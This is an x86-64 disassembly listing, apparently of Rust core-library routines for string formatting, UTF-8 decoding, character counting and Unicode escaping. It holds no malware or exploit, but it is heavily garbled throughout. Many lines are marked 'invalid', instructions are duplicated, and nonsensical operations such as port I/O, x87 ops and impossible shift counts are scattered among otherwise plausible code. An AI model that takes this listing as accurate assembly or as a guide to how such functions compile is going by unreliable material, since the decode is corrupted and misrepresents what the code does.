add byte [rdx + rdx*8 + 0x478b3874], al
xor al, 0x89
rol dword [rbx + 0xba01e1], 0
adc dword [rax], eax
mov ebp, 0x2b
cmove ebp, edx
add rcx, r15
test al, 4
je 0x14004181d
mov r8, r14
test r14, r14
je 0x1400418b6
cmp r14, 1
jne 0x140041836
xor r8d, r8d
xor edx, edx
jmp 0x1400418a0
jne 0x1400417f1
xor ebx, ebx
mov r13, qword [rsp + 0xb0]
cmp qword [rdi], 0
jne 0x1400418c7
jmp 0x1400418fd
mov rdx, r14
mov edx, esi
and rdx, 0xfffffffffffffffe
pxor xmm0, xmm0
xor r8d, r8d
movdqa xmm1, xmmword [0x1400b06f0]
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
adc eax, 0x6eeac
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
adc eax, 0x6eeac
nop word cs:[rax + rax]
movzx r9d, word [rbx + r8]
movd xmm3, r9d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r8, 2
add cl, byte [rcx + rdi - 0x3e]
add cl, byte [rcx + rdi - 0x3e]
jne 0x140041860
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r8, xmm1
cmp rdx, r14
je 0x1400418b6
xor r9d, r9d
cmp byte [rbx + rdx], 0xc0
setge r9b
add r8, r9
inc rdx
cmp r14, rdx
jne 0x1400418a0
add rcx, r8
mov r13, qword [rsp + 0xb0]
cmp qword [rdi], 0
je 0x1400418fd
mov rsi, qword [rdi + 8]
sub rsi, rcx
jbe 0x1400418fd
test al, 8
mov qword [rsp + 0x40], r13
jne 0x140041954
mov qword [rsp + 0x38], r15
movzx r15d, byte [rdi + 0x38]
lea rax, [0x1400ef754]
mov dh, 0x7f
cmp byte [rax - 0x73], cl
add eax, 0xade6a
movsxd rcx, dword [rax + r15*4]
add rcx, rax
jmp rcx
mov r15, rsi
xor esi, esi
jmp case.0x1400418f1.0
mov r12, qword [rdi + 0x20]
mov rdi, qword [rdi + 0x28]
mov qword [rsp + 0x20], r14
mov rcx, r12
mov rdx, rdi
mov r8d, ebp
mov r9, rbx
call fcn.140041eb0
xchg ebp, eax
add eax, 0x1b30000
xchg ebp, eax
add eax, 0x1b30000
test al, al
je 0x140041934
mov eax, ebx
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rdi + 0x18]
mov rcx, r12
mov rdx, r13
mov r8, r15
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
invalid
loopne 0x1400418e0
mov eax, dword [rdi + 0x30]
mov dword [rsp + 0x38], eax
mov dword [rdi + 0x30], 0x30
add byte [rax], al
add byte [rdi], cl
mov dh, 0x47
cmp byte [rax - 0x39c8dbbc], cl
cmp byte [r9], r8b
xor byte [r9 - 0x38c7dbbc], r9b
xor byte [r8], r14b
add byte [rax], al
add byte [rdi], cl
mov dh, 0x47
cmp byte [rax - 0x39c8dbbc], cl
cmp byte [r9], r8b
mov r13, qword [rdi + 0x20]
mov r12, qword [rdi + 0x28]
mov qword [rsp + 0x20], r14
mov rcx, r13
mov rdx, r12
mov r8d, ebp
mov r9, rbx
call fcn.140041eb0
mov bl, 1
test al, al
jne 0x140041921
inc rsi
nop word cs:[rax + rax]
dec rsi
je 0x140041a5c
mov rcx, r13
mov edx, 0x30
call qword [r12 + 0x20]
test al, al
je 0x1400419a0
jmp 0x140041921
mov r12, qword [rdi + 0x20]
mov r13, qword [rdi + 0x28]
mov edi, dword [rdi + 0x30]
inc r15
nop dword [rax]
dec r15
je 0x1400419f9
mov rcx, r12
mov edx, edi
call qword [r13 + 0x20]
test al, al
je 0x1400419e0
mov bl, 1
jmp 0x140041921
mov qword [rsp + 0x20], r14
mov rcx, r12
mov rdx, r13
mov r8d, ebp
mov r9, rbx
call fcn.140041eb0
mov bl, 1
test al, al
jne 0x140041921
mov rcx, r12
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x38]
call qword [r13 + 0x18]
test al, al
jne 0x140041921
mov r14, rsi
neg r14
mov rbx, 0xffffffffffffffff
nop
lea rax, [r14 + rbx]
cmp rax, 0xffffffffffffffff
je 0x140041a8a
mov rcx, r12
mov edx, edi
call qword [r13 + 0x20]
inc rbx
test al, al
je 0x140041a40
jmp 0x140041a8d
mov rcx, r13
mov rdx, qword [rsp + 0x40]
mov r8, r15
call qword [r12 + 0x18]
test al, al
jne 0x140041921
mov eax, dword [rsp + 0x38]
mov dword [rdi + 0x30], eax
movzx eax, byte [rsp + 0x37]
mov byte [rdi + 0x38], al
xor ebx, ebx
jmp 0x140041921
mov rbx, rsi
cmp rbx, rsi
setb bl
jmp 0x140041921
shl byte [rsi + 0xf], 0x6f
or eax, 0x6eadf
jmp 0x140041c72
xor ecx, ecx
lea r11, [r10 + rsi*8]
sbb al, 0xf2
sub rdx, rsi
mov ebx, esi
and ebx, 3
mov r14, rcx
and r14, r9
and esi, ecx
and esi, ecx
shr rcx, 8
and rcx, r9
leave
leave
add rcx, r14
imul rcx, r8
scasd eax, dword [rdi]
enter 0xffffffffffffc148, 0xffffffffffffffe9
xor byte [rax + 1], cl
ror dword [rax - 0x7b], 0xdb
scasd eax, dword [rdi]
enter 0xffffffffffffc148, 0xffffffffffffffe9
xor byte [rax + 1], cl
ror dword [rax - 0x7b], 0xdb
jne 0x140041e10
sahf
add dword [rax], eax
add byte [rax - 0x77], cl
enter 0xffffffffffff8548, 0xffffffffffffffd2
test edx, edx
mov rax, rcx
test rdx, rdx
test edx, edx
test edx, edx
je 0x140041e9c
mov r10, r11
cmp rdx, 0xc0
mov esi, 0xc0
add byte [rax], al
add byte [rax + 0xf], cl
cmp rsi, 4
cmp esi, 4
add byte [rax], al
add byte [rax + 0xf], cl
cmp rsi, 4
cmp esi, 4
cmp esi, 4
jb 0x140041c40
mov r11d, esi
mov ebx, esi
shr r11d, 2
lea r14, [r11 - 1]
and r14, rdi
je 0x140041d9d
invalid
add byte [rcx - 1], cl
invalid
inc r14
mov r15, r14
and r15, 0xfffffffffffffffe
dec byte [rcx + rcx*4 - 5]
dec byte [rcx + rcx*4 - 5]
shl rbx, 5
pxor xmm3, xmm3
mov rcx, r10
mov r12, r15
ror dword [rbp - 0x77], 1
cld
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
movdqu xmm2, xmmword [rcx]
movdqu xmm5, xmmword [rcx + 0x20]
and byte [rsi + 0xf], ah
outsd dx, dword [rsi]
loop 0x140041d44
invalid
insb byte [rdi], dx
in eax, 0x66
movq mm6, mm4
pxor xmm6, xmm0
pxor mm6, mm0
and byte [rsi + 0xf], ah
outsd dx, dword [rsi]
loop 0x140041d44
invalid
pxor mm6, mm0
psrlq xmm6, 7
psrlq xmm4, 6
por xmm4, xmm6
por mm4, mm6
pand xmm4, xmm1
paddq xmm4, xmm3
movdqu xmm3, xmmword [rcx + 0x10]
pop rcx
adc bl, dh
movq mm6, qword [rcx + 0x30]
invalid
pop rcx
adc bl, dh
movq mm6, qword [rcx + 0x30]
invalid
xor byte [rsi + 0xf], ah
insd dword [rdi], dx
invalid
punpckhqdq xmm2, xmm5
movdqa xmm5, xmm3
punpcklqdq xmm5, xmm6
punpckhqdq xmm3, xmm6
movdqa xmm6, xmm2
pxor xmm6, xmm0
pxor mm6, mm0
psrlq xmm6, 7
invalid
invalid
psrlq xmm2, 6
por xmm2, xmm6
pand xmm2, xmm1
shl dword [rsi + 0xf], 1
outsd dx, dword [rsi]
cmc
invalid
invalid
shl dword [rsi + 0xf], 1
outsd dx, dword [rsi]
cmc
pxor xmm6, xmm0
psrlq xmm6, 7
invalid
psrlq xmm5, 6
por xmm5, xmm6
pand xmm5, xmm1
paddq xmm5, xmm2
paddq mm5, mm2
paddq mm5, mm2
paddq xmm5, xmm4
movdqa xmm2, xmm3
movq mm2, mm3
movq mm2, mm3
pxor xmm2, xmm0
psrlq xmm2, 7
psrlq xmm3, 6
por xmm3, xmm2
fisub dword [rsi + 0xf]
fcmovnu st(0), st(1)
fisub dword [rsi + 0xf]
fcmovnu st(0), st(1)
paddq xmm3, xmm5
add rcx, 0x40
add r12, 0xfffffffffffffffe
jne 0x140041cd0
fisttp qword [rax - 0x7d]
rol dword [rax + 0x49], 0x83
invalid
pshufd xmm2, xmm3, 0xee
paddq xmm2, xmm3
movq rcx, xmm2
cmp r14, r15
cmp esi, edi
cmp esi, edi
je 0x140041c42
add rbx, r10
jmp 0x140041da2
xor ecx, ecx
mov rbx, r10
shl r11, 5
add r11, r10
nop dword [rax]
movdqu xmm2, xmmword [rbx]
movdqu xmm3, xmmword [rbx + 0x10]
movdqa xmm4, xmm2
movq mm4, mm2
movq mm4, mm2
pxor xmm4, xmm0
movdqa xmm5, xmm3
movq mm5, mm3
movq mm5, mm3
pxor xmm5, xmm0
psrlq xmm5, 7
psrlq xmm4, 7
psrlq xmm3, 6
por xmm3, xmm5
psrlq xmm2, 6
por xmm2, xmm4
pand xmm3, xmm1
pand xmm2, xmm1
paddq xmm2, xmm3
pshufd xmm3, xmm2, 0xee
paddq xmm3, xmm2
movq r14, xmm3
add rcx, r14
add rbx, 0x20
cmp rbx, r11
jne 0x140041db0
jmp 0x140041c42
and esi, 0xfc
mov rdx, qword [r10 + rsi*8]
mov rax, rdx
not rax
shr rax, 7
shr rdx, 6
or rdx, rax
movabs rax, 0x101010101010101
and rdx, rax
cmp ebx, 1
je 0x140041e7a
mov r11, qword [r10 + rsi*8 + 8]
mov rdi, r11
not rdi
shr rdi, 7
shr r11, 6
or r11, rdi
and r11, rax
add rdx, r11
cmp ebx, 2
je 0x140041e7a
mov r10, qword [r10 + rsi*8 + 0x10]
mov r11, r10
not r11
shr r11, 7
shr r10, 6
or r10, r11
and r10, rax
add rdx, r10
and r9, rdx
shr rdx, 8
movabs rax, 0x700ff00ff00ff
and rax, rdx
add rax, r9
imul rax, r8
shr rax, 0x30
add rax, rcx
movaps xmm6, xmmword [rsp]
add rsp, 0x18
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
invalid
adc byte [r8 - 0x77], cl
ret 0x948
je 0x14004215d
test rcx, rcx
je 0x140042095
mov r9, qword [rbx + 0x18]
lea r8, [rdi + rsi]
inc r9
xor ecx, ecx
mov rdx, rdi
cli
cli
jmp 0x140041f7a
lea r14, [rdx + 1]
sub rcx, rdx
add rcx, r14
mov rdx, r14
cmp r10d, 0x110000
je 0x140042095
dec r9
je 0x140042019
invalid
xchg esi, eax
add byte [rax], al
invalid
test byte [rsi + 0x4c000000], dl
cmp edx, eax
cmp rdx, r8
je 0x140042095
movzx r14d, byte [rdx]
movzx r10d, r14b
test r10b, r10b
jns 0x140041f60
mov r11d, r10d
and r11d, 0x1f
movzx r15d, byte [rdx + 1]
add dword [rcx - 0x7d], eax
out 0x3f, eax
add dword [rcx - 0x7d], eax
out 0x3f, eax
cmp r10b, 0xdf
jbe 0x140041ff3
movzx ebp, byte [rdx + 2]
shl r15d, 6
shl edi, 6
shl edi, 6
and ebp, 0x3f
or ebp, r15d
cmp r14b, 0xf0
jb 0x140042006
movzx r10d, byte [rdx + 3]
and r11d, 7
shl r11d, 0x12
jrcxz 0x140041fe2
jrcxz 0x140041fe2
shl ebp, 6
and r10d, 0x3f
invalid
or r10d, ebp
or r10d, r11d
cmp r10d, 0x110000
cmp edx, 0x110000
invalid
cmp edx, 0x110000
adc dword [rax], eax
je 0x140042095
stosd dword [rdi], eax
add byte [rax], al
add byte [rbp + rcx*4 + 0x72], cl
add al, 0xe9
jno 0x140041ff0
lea r14, [rdx + 4]
jmp 0x140041f64
invalid
invalid
lea r14, [rdx + 2]
shl r11d, 6
or r11d, r15d
mov r10d, r11d
jmp 0x140041f64
lea r14, [rdx + 3]
shl r11d, 0xc
or ebp, r11d
mov r10d, ebp
jmp 0x140041f64
cmp rdx, r8
je 0x140042095
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x140042071
cmp r8b, 0xe0
jb 0x140042071
cmp r8b, 0xf0
jb 0x140042071
movzx r8d, r8b
movzx r9d, byte [rdx + 1]
and r9d, 0x3f
movzx r10d, byte [rdx + 2]
and r10d, 0x3f
movzx edx, byte [rdx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 0xc
shl r10d, 6
or r10d, r9d
and edx, 0x3f
or edx, r10d
or edx, r8d
cmp edx, 0x110000
je 0x140042095
test rcx, rcx
je 0x140042087
cmp rcx, rsi
jae 0x140042085
cmp byte [rdi + rcx], 0xc0
jge 0x140042087
xor edx, edx
jmp 0x14004208a
jne 0x140042081
mov rdx, rdi
test rdx, rdx
cmovne rsi, rcx
cmovne rdi, rdx
test rax, rax
je 0x14004215d
mov r15, qword [rbx + 8]
jnp 0x1400420aa
cmp rsi, 0x20
jae 0x1400420c0
mov rax, rsi
test rsi, rsi
je 0x14004213f
invalid
cmp rsi, 1
jne 0x1400420cd
xor eax, eax
xor ecx, ecx
jmp 0x14004212b
mov rcx, rdi
mov rdx, rsi
call fcn.140041aa0
invalid
jmp 0x14004213f
invalid
mov rcx, rsi
and rcx, 0xfffffffffffffffe
loope case.0x14002f576.48
loope case.0x14002f576.48
pxor xmm0, xmm0
xor eax, eax
movdqa xmm1, xmmword [0x1400b06f0]
outsd dx, dword [rsi]
or eax, 0x6e60e
outsd dx, dword [rsi]
or eax, 0x6e60e
movdqa xmm2, xmmword [0x1400b0700]
nop word [rax + rax]
movzx edx, word [rdi + rax]
movd xmm3, edx
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pshufw mm3, mm3, 0xd4
pshufw mm3, mm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add rax, 2
cmp rcx, rax
jne 0x1400420f0
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq rax, xmm1
jmp 0x14004213a
xor edx, edx
cmp byte [rdi + rcx], 0xc0
setge dl
add rax, rdx
inc rcx
cmp rsi, rcx
jne 0x14004212b
sub r15, rax
jbe 0x14004215d
movzx eax, byte [rbx + 0x38]
lea rcx, [0x1400ef764]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor r13d, r13d
jmp 0x140042196
mov rcx, qword [rbx + 0x20]
mov rax, qword [rbx + 0x28]
mov rax, qword [rax + 0x18]
mov rdx, rdi
mov r8, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
mov r13, r15
xor r15d, r15d
jmp 0x140042196
mov r13, r15
shr r13, 1
inc r15
shr r15, 1
mov r14, qword [rbx + 0x20]
mov r12, qword [rbx + 0x28]
mov ebx, dword [rbx + 0x30]
inc r13
nop word cs:[rax + rax]
mov rcx, r14
dec r13
je 0x1400421c7
mov edx, ebx
call qword [r12 + 0x20]
test al, al
je 0x1400421b0
mov al, 1
jmp 0x140042216
mov rdx, rdi
mov r8, rsi
call qword [r12 + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x140042216
mov rdi, r15
neg rdi
mov rsi, 0xffffffffffffffff
nop word [rax + rax]
lea rax, [rdi + rsi]
cmp rax, 0xffffffffffffffff
je 0x14004220d
mov rcx, r14
mov edx, ebx
call qword [r12 + 0x20]
inc rsi
test al, al
je 0x1400421f0
jmp 0x140042210
mov rsi, r15
cmp rsi, r15
setb al
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rsi + 8], al
mov byte [rsi + 9], 1
mov rax, rsi
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
ret
and byte [rdi], cl
sub dword [rsp + 0x70], eax
lea rcx, [rsp + 0x2f]
mov qword [rsp + 0x80], rcx
mov ecx, dword [r14 + 0x30]
movzx edx, byte [r14 + 0x38]
mov dh, 0x56
invalid
mov dh, 0x56
cmp byte [rcx - 0x769bdbbc], cl
mov dword [rsp + 0x64], eax
mov dword [rsp + 0x60], ecx
invalid
mov dword [rsp + 0x64], eax
mov dword [rsp + 0x60], ecx
invalid
invalid
mov byte [rsp + 0x68], dl
movups xmm0, xmmword [r14]
movaps xmmword [rsp + 0x30], xmm0
sub dword [rsp + 0x30], eax
sub dword [rsp + 0x30], eax
movups xmm0, xmmword [r14 + 0x10]
movaps xmmword [rsp + 0x40], xmm0
sub dword [rsp + 0x40], eax
adc byte [rdi], cl
sub dword [rsp + 0x40], eax
and al, 0x40
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
jo 0x14004419b
mov dword [rsp + 0x50], eax
lea rax, [0x1400d8ab8]
or qword [r8], rax
or dword [rax], eax
mov qword [rsp + 0x58], rax
pop rax
lea rdx, [rsp + 0x30]
push rsp
and al, 0x30
mov rcx, rbx
mov ecx, ebx
call rdi
test al, al
je case.0x14001bae2.368
mov al, 1
jmp 0x140044087
invalid
dec dword [rax - 0x75]
and al, 0x50
and al, 0x50
mov rcx, qword [rsp + 0x50]
and al, 0x50
mov rax, qword [rsp + 0x58]
pop rax
lea rdx, [0x1400e77f7]
outsb dx, byte [rsi]
or al, byte ss:[rax]
mov r8d, 2
call qword [rax + 0x18]
jmp 0x140044087
invalid
invalid
invalid
invalid
int3
int3
int3
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rsi, r9
mov esi, ecx
mov esi, ecx
mov rdi, r8
mov edi, eax
mov rbx, rcx
mov r14, qword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x98
add byte [rax], al
invalid
and al, 0x90
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x75], cl
sub byte [r9 - 0x48], al
sub byte [rcx - 0x48], al
add byte [rax], al
mov rcx, qword [rcx + 0x20]
mov rax, qword [rbx + 0x28]
invalid
sub byte [rcx - 0x48], al
mov r8d, 8
or byte [rax], al
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x30], rbx
mov byte [rsp + 0x38], al
and al, 0x38
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
add byte [rax], al
and al, 0x38
mov qword [rsp + 0x28], 0
add byte [rax], al
mov byte [rsp + 0x39], 0
lea rbx, [rsp + 0x28]
and al, 0x28
and al, 0x39
add byte [rax - 0x73], cl
pop rsp
and al, 0x28
mov rcx, rbx
mov ecx, ebx
mov rdx, rdi
mov edx, edi
mov r8, rsi
call fcn.140043f20
mov rcx, rbx
invalid
mov rdx, r14
mov r8, r15
call fcn.140043f20
invalid
dec dword [rax - 0x75]
and al, 0x28
invalid
invalid
dec dword [rax - 0x75]
and al, 0x28
mov eax, dword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
and al, 0x38
test rax, rax
je 0x140044272
sal byte [rsi + rdx*2 - 0x4d], 1
mov bl, 1
test cl, cl
leave
jne case.0x1400263ce.305
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x140044256
clc
add dword [rbp + 0x29], esi
cmp byte [rsp + 0x39], 0
invalid
je 0x140044256
add byte [rdx + riz - 0xa], dh
xor al, 4
test byte [rsi + 0x34], 4
jne 0x140044256
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
lea edx, [0x1400e77f5]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e77f5]
lea edx, [0x1400e77f5]
lea edx, [0x1400e77f5]
lodsb al, byte [rsi]
xor eax, 0xb841000a
invalid
invalid
add dword [rax], eax
mov r8d, 1
add byte [rax], al
call qword [rax + 0x18]
test al, al
jne case.0x1400263ce.305
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0xa4c11
adc dword [rdx + rcx], ecx
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8e76]
adc dword [rdx + rcx], ecx
adc dword [rdx + rcx], ecx
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp case.0x1400263ce.305
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x40
add esp, 0x40
add esp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
ret
cmp byte [rcx], 0
je 0x1400442ad
lea rdx, [0x1400e77d1]
or al, byte [rax]
mov r8d, 4
mov rcx, rax
shr ecx, 0x63
fdiv st(7), st(0)
invalid
shr ecx, 0x63
fdiv st(7), st(0)
dec dword [rax - 0x73]
adc eax, 0xa3518
invalid
or al, byte [rax]
lea rdx, [0x1400e77cc]
xor eax, 0xb841000a
add eax, 0x48000000
mov ecx, eax
mov r8d, 5
mov rcx, rax
jmp fcn.140041f10
int3
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov r15, r9
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov rax, qword [r9 + 0x20]
mov rcx, r8
mov edx, 0x22
mov r14, rax
call rax
test al, al
je 0x140044314
mov al, 1
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rdi, rdi
je 0x140044569
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], rdi
lea rax, [rbx + rdi]
mov qword [rsp + 0x60], rax
xor r13d, r13d
mov rdi, rbx
xor r15d, r15d
mov qword [rsp + 0x58], rbx
jmp 0x140044359
add r13, r15
mov rbx, qword [rsp + 0x58]
sub r15, r12
add r15, rdi
cmp rdi, qword [rsp + 0x60]
je 0x1400445a2
mov r12, rdi
movzx ebp, byte [rdi]
test bpl, bpl
js 0x140044370
lea rdi, [r12 + 1]
jmp 0x1400443e0
mov eax, ebp
and eax, 0x1f
movzx edx, byte [r12 + 1]
and edx, 0x3f
cmp bpl, 0xdf
jbe 0x1400443c3
lea rdi, [r12 + 3]
movzx ecx, byte [r12 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp bpl, 0xf0
jb 0x1400443d1
movzx ebp, byte [rdi]
and eax, 7
shl eax, 0x12
shl ecx, 6
and ebp, 0x3f
or ebp, ecx
or ebp, eax
cmp ebp, 0x110000
je 0x1400445a2
lea rdi, [r12 + 4]
jmp 0x1400443e0
lea rdi, [r12 + 2]
shl eax, 6
or eax, edx
mov ebp, eax
jmp 0x1400443e0
shl eax, 0xc
or ecx, eax
mov ebp, ecx
nop dword [rax + rax]
lea rcx, [rsp + 0x4c]
mov edx, ebp
mov r8d, 0x10001
add dword [rax], eax
call fcn.140044630
add al, byte ds:[rax]
add byte [rax - 0x7fb3db84], al
invalid
invalid
add al, byte ds:[rax]
add byte [rax - 0x7fb3db84], al
invalid
invalid
je 0x140044348
movzx eax, byte [rsp + 0x57]
sub al, byte [rsp + 0x56]
cmp al, 1
add dword [rdi], ecx
test byte [rdx], bh
invalid
invalid
invalid
add dword [rdi], ecx
test byte [rdx], bh
invalid
mov r8, r15
sub r8, r13
jb 0x1400445f1
test r13, r13
test ebp, ebp
je case.0x140027333.192
cmp r13, qword [rsp + 0x38]
jae 0x140044432
invalid
or al, 0x42
cmp byte [rbx + rbp], 0xc0
sub eax, eax
cmp byte [rbx + r13], 0xc0
jge case.0x140027333.192
jmp 0x1400445f1
jne 0x1400445f1
test r15, r15
je 0x140044456
cmp r15, qword [rsp + 0x38]
cmp edi, dword [rsp + 0x38]
jae 0x140044450
cmp byte [rbx + r15], 0xbf
cmp byte [rbx + rdi], 0xbf
jg 0x140044456
jmp 0x1400445f1
jne 0x1400445f1
add r13, rbx
add ebp, ebx
mov rcx, rsi
mov rdx, r13
mov rax, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
call qword [rax + 0x18]
test al, al
jne 0x140044301
xchg edx, eax
invalid
invalid
invalid
xchg edx, eax
invalid
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x30], eax
and al, 0x30
and al, 0x30
mov rax, qword [rsp + 0x4c]
mov qword [rsp + 0x28], rax
cmp al, 0x80
jne 0x1400444f0
mov bl, 0x80
jmp 0x1400444b5
invalid
sub al, 0xf
invalid
add byte [rax], al
mov edx, dword [rsp + 0x2c]
mov dword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
and al, 0x30
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
xor ebx, ebx
mov rcx, rsi
call r14
test al, al
jne 0x140044301
invalid
invalid
invalid
invalid
invalid
cmp bl, 0x80
je 0x140044490
xor byte [rsi + rdx*8 + 0x44], 0xf
mov dh, 0x6c
and al, 0x32
movzx r13d, byte [rsp + 0x32]
movzx ebp, byte [rsp + 0x32]
cmp r13b, byte [rsp + 0x33]
cmp ch, byte [rsp + 0x33]
jae 0x140044530
lea eax, [r13 + 1]
mov byte [rsp + 0x32], al
cmp r13b, 0xa
jae 0x1400445db
add al, byte [rcx]
add byte [rax], al
invalid
add al, byte [rcx]
add byte [rax], al
invalid
add byte [rdx + 0xf], al
mov dh, 0x54
sub al, 0x28
movzx edx, byte [rsp + r13 + 0x28]
jmp case.0x140082501.122
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ebx, byte [rsp + 0x33]
movzx r13d, byte [rsp + 0x32]
nop dword [rax + rax]
cmp r13, rbx
jae 0x140044530
lea eax, [r13 + 1]
mov byte [rsp + 0x32], al
cmp r13, 9
ja 0x1400445db
movzx edx, byte [rsp + r13 + 0x28]
mov rcx, rsi
call r14
inc r13
test al, al
je 0x140044500
jmp 0x140044301
mov r13d, 1
cmp ebp, 0x80
jb 0x140044340
mov r13d, 2
cmp ebp, 0x800
jb 0x140044340
cmp ebp, 0x10000
mov r13d, 4
sbb r13, 0
jmp 0x140044340
xor r13d, r13d
xor r8d, r8d
add rbx, r13
mov rcx, rsi
mov rdx, rbx
call qword [r15 + 0x18]
test al, al
jne 0x140044301
mov rcx, rsi
mov edx, 0x22
add byte [rax], al
add byte [rax], al
mov rax, r14
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
test r13, r13
test ebp, ebp
je 0x1400445c2
mov rdx, qword [rsp + 0x38]
mov rax, rdx
mov eax, edx
mov eax, edx
sub rax, r13
mov r15, qword [rsp + 0x40]
jbe 0x1400445d1
cmp byte [rbx + r13], 0xbf
jg 0x1400445d6
jmp 0x140044612
push rax
xor r13d, r13d
mov r8, qword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
jmp 0x14004456f
jne 0x140044612
mov r13, rdx
mov ebp, edx
mov r8, rax
jmp 0x14004456f
lea r8, str.librarycore_srcescape.rs
push rcx
or dword [rax], eax
invalid
add byte [rdx + 0xa], bh
mov edx, 0xa
mov rcx, r13
call fcn.1400a9fa0
ud2
jmp 0x1465df7d6
lea rax, str.librarycore_src_fmtmod.rs
add eax, 0x945a8
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rsp + 0x38]
mov r8, r13
mov r9, r15
call fcn.1400aa670
ud2
lea rax, str.librarycore_src_fmtmod.rs
mov qword [rsp + 0x20], rax
and byte [rax - 0x77], cl
invalid
mov r8, r13
mov r9, rdx
call fcn.1400aa670
ud2
and byte [rax - 0x77], cl
invalid
lea rcx, [0x1400ef774]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov word [rsi], 0x305c
jmp 0x1400447b8
invalid
add byte [rax], al
add byte [rbx + 0x48755cff], al
cmp edi, 0x5c
jne case.0x140044650.1
mov word [rsi], 0x5c5c
pop rsp
jmp 0x1400447b8
je 0x14004465a
add dword [r8], eax
add byte [rsi - 0x39], ah
invalid
invalid
invalid
add dword [rax], eax
add byte [rcx - 9], al
test r8d, 0x100
jne 0x1400447b3
test r8b, 1
je 0x1400446ba
mov ecx, edi
call fcn.140044f10
test al, al
jne 0x1400446c3
cmp edi, 0x20
jae 0x14004476e
mov byte [rsp + 0x40], 0
mov word [rsp + 0x3e], 0
mov byte [rsp + 0x47], 0x7d
mov ecx, edi
shr ecx, 0x14
and ecx, 0xf
lea rax, [0x1400e77e3]
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x41], cl
mov ecx, edi
shr ecx, 0x10
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x42], cl
mov ecx, edi
shr ecx, 0xc
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x43], cl
mov ecx, edi
shr ecx, 8
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x44], cl
mov ecx, edi
shr ecx, 4
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rsp + 0x45], cl
mov ecx, edi
and ecx, 0xf
movzx eax, byte [rcx + rax]
mov byte [rsp + 0x46], al
or edi, 1
bsr eax, edi
xor eax, 0x1c
shr eax, 2
lea rcx, [rax - 2]
mov byte [rsp + rax + 0x3e], 0x7b
mov word [rsp + rax + 0x3c], 0x755c
movzx eax, word [rsp + 0x46]
mov word [rsi + 8], ax
mov rax, qword [rsp + 0x3e]
mov qword [rsi], rax
mov byte [rsi + 0xa], cl
mov byte [rsi + 0xb], 0xa
jmp 0x1400447c6
cmp edi, 0x7f
jb 0x14004489c
cmp edi, 0x10000
jae 0x1400447cd
lea rax, [0x1400d9535]
mov qword [rsp + 0x28], rax
